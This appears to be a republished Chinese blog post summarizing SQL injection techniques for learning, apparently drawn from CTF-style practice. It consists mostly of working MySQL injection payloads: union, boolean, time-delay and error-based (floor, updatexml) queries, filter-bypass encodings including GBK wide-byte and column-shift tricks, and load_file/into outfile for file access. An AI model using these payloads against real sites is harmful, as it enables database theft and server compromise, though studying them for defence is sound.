SQL注入

Posted R3col

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入相关的知识,希望对你有一定的参考价值。

SQL注入

前段时间刷了技能树,趁热打铁,把学到的知识点总结一下

1.SQL注入类别

1-1.按照有无回显可以把SQL注入分为

  • 有回显的SQL注入
  • 盲注

1-2.按照SQL注入方法可以分为

  • Union注入
  • 布尔注入
  • 时延注入
  • 报错注入

1-3.按照注入位置可以分为

  • GET参数注入
  • POST参数注入
  • HTTP请求头注入

2.攻击思路

  • 寻找可控参数

  • 判断是否是注入点以及注入类型
  • 绕过限制

2-1. 寻找可控参数

  • GET参数
  • POST参数
  • HTTP请求头

2-2.判断是否是注入点以及注入类型

  • 添加
  • 使用恒真式or 1=1 和 恒假式and 1=2
  • 使用if条件语句(布尔)and if(1,(select asd from asd),0)
  • 使用if条件语句(延时)and if(1,sleep(5),0)
  • 以数组的形式传入GET参数,param[]=xxx,查看有无报错信息
  • 使用报错注入经典语句and (select 1 from (select count(*), concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2-3 绕过限制

这一步可以根据ban掉的关键字/函数,以及自己推测出的SQL语句来完成

  • 注释符号过滤:

    • %23
    • -- (短横线,短横线,空格)
    • --+(短横线,短横线,加号)
    • /**/

    • --%a0

  • AND OR 过滤:

    • &&
    • ||
  • 空格过滤:
    • /**/
    • %09
    • %0A
    • %0B
    • %0C
    • %0D
    • %A0
    • %a0
    • %20
  • 单引号过滤:

    • 用hex编码绕过:

      union select * from admin where username = 0x61646D696E

    • 用CHAR函数来绕过:
      union select * from admin where username = CHAR(97, 100, 109, 105, 110)

    • GBK编码还可以使用宽字节绕过addslashes:
      • 反斜杠的十六进制编码为%5c,当输入%bf%27时,addslashes函数遇到单引号会自动在其前加入%5c,即会变成%bf%5c%27,其中%bf%5c在GBK中时宽字节‘縗’,
      • example:
        origin: select * from admin where id = ‘1%bf%27
        addslashes: select * from admin where id = ’1縗’
  • 逗号过滤:

    • union select 1,2,3, 可用join绕过:

      union select * from((select 1)a join (select 2)b join (select 3)c)

    • substring((select flag from flag),2,1) 可用from x for x绕过:

      substring((select flag from flag) from 2 for 1)

    • limit 2,1 可用offset绕过:

      limit 1 offset 2

  • union过滤,可用盲注绕过:

    ?id=1‘ and (select username from admin)=‘admin‘ %23

  • where过滤:

    • 用limit绕过:

      union select 1,2,table_name from information_schema.tables limit 4,1 %23

    • 用group_concat绕过:

      union select 1,2,group_concat(table_name) from information_schema.tables %23
      注意:group_concat函数有最大长度限制

    • 用group_concat配合group by绕过:

      union select 1,2,group_concat(table_name) from information_schema.tables group by table_schema having table_schema=‘test‘ %23

    • 用group_concat配合子查询+limit绕过:

      union select 1,2,group_concat(table_name) from (select table_name from information_schema.tables limit 10,10)a %23

  • 字段名过滤:

    • 可使用移位溢注绕过:

      • 场景:

        假设,可通过 ?id=1‘ union select 1,2,3,4,5 %23 知道3是回显位
        但admin表中id,username,password三个字段都被ban掉

      • 条件:

        当前表的字段数 > 目标表的字段数 (返回字段数>可显示字段数时,会报错)
        当前表的字段数 >= 2*目标表的字段数 - 1 时,效果最好
        回显位最好是中间段

      • 原理:

      可用用admin.*来代替id,username,password

      • 实例:

      通过下面代码来获取目标表的字段数

      ?id=1‘ union select admin.* from admin %23
      ?id=1‘ union select 1,admin.* from admin %23
      ?id=1‘ union select 1,2,admin.* from admin %23

      之后就可以进行移位溢注:

      ?id=1‘ union select 1,2,admin.* from admin %23
      ?id=1‘ union select 1,admin.*,5 from admin %23
      ?id=1‘ union select admin.*,4,5 from admin %23

    • 子查询绕过:

      • 条件

        当目标表的字段数 > 当前表的字段数时:

      • 原理

        可在子查询中使用order by来获取目标表的字段数:

        ?id=1‘ union select 1,2,3,4,5 from (select * from admin order by 3)x %23

        通过构造子查询,给本来被ban的字段换了个‘名字‘
        先构造子查询的联合查询语句并指定别名,然后对这个子查询结果集进行查询:

        ?id=1‘ union select 1,2,admin_x,4,5 from (select 1 as admin_1, 2 as admin_2, 3 as admin_3 from admin where 1=2 union select * from admin)x %23

3.常用mysql函数、关键字以及语句

@@version 显示版本
@@datadir 显示当前目录
user() 查询用户名
database()  查询数据库名
information_schema.schemata 所有的数据库名
information_schema.tables 数据库中的表名
information_schema.columns 表中的字段名
table_name 表名
column_name 字段名
load_file(_absolute\_path_) 加载文件
into outfile _absolute\_path_ 写入文件

爆库名:  
select group_concat(schema_name) from information_schema.schemata
select databse()
爆表名:  
select group_concat(table_name) from information_schema.tables where table_schema='xx'
爆字段名:
select group_concat(column_name) from information_schema.columns where 
table_name='xx'
布尔注入:
and if(1,(select asd from asd), 1)
延时注入:
and sleep(5)
and if(1,sleep(5),1)
floor报错注入:
and (select 1 from (select count(*),concat(shema_name,floor(rand(0)*2))x from information_schema.schemata group by x)a)
updatexml报错注入:
or updatexml(0x7e,(version()),0) or

未完待续


以上是关于SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入

mybatis以及预编译如何防止SQL注入

手机只需发条消息即可开始大规模SQL注入攻击

4个单词,谷歌返回16个SQL注入漏洞

基于约束的SQL攻击